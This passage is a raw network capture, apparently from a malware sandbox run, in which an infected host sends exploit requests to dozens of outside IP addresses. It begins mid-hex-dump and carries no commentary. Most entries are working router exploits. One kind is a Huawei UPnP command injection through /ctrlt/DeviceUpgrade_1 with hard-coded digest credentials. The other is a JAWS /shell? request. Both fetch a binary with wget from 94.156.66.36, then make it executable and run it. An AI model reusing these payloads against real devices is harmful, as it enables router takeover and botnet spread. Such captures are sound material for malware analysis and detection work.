73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:16.021945953 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:19.861785889 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:27.541891098 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:42.901138067 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.15	50760	90.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:12.608472109 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:13.162607908 CET	383	IN	HTTP/1.1 404 Not Found Server: micro_httpd Cache-Control: no-cache Date: Sun, 22 Feb 1970 16:10:08 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.15	48888	138.201.139.232	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:12.612823963 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:12.787415028 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Mar 2024 08:36:12 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.15	40730	184.24.27.148	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:12.695318937 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:12.952399015 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:36:12 GMT Date: Wed, 13 Mar 2024 08:36:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 66 63 33 31 33 30 32 26 23 34 36 3b 31 37 31 30 33 31 38 39 37 32 26 23 34 36 3b 37 66 38 36 61 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6fc31302.1710318972.7f86a6</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.15	34986	71.132.45.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:12.813978910 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:13.192461014 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:13 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.15	57864	94.120.210.61	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:12.832036972 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.15	54982	124.156.145.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:12.921946049 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.15	50300	104.106.77.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:13.119446993 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:13.282723904 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:13 GMT Date: Wed, 13 Mar 2024 08:36:13 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 66 38 61 37 38 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 37 33 26 23 34 36 3b 32 30 39 63 32 34 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6f8a7868.1710318973.209c24a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.15	50788	90.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:13.164086103 CET	391	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Cache-Control: no-cache Date: Sun, 22 Feb 1970 16:10:08 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.15	48152	82.194.168.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:13.430831909 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:13.742225885 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Wed, 13 Mar 2024 08:36:00 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.15	51798	154.197.69.111	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:13.531004906 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
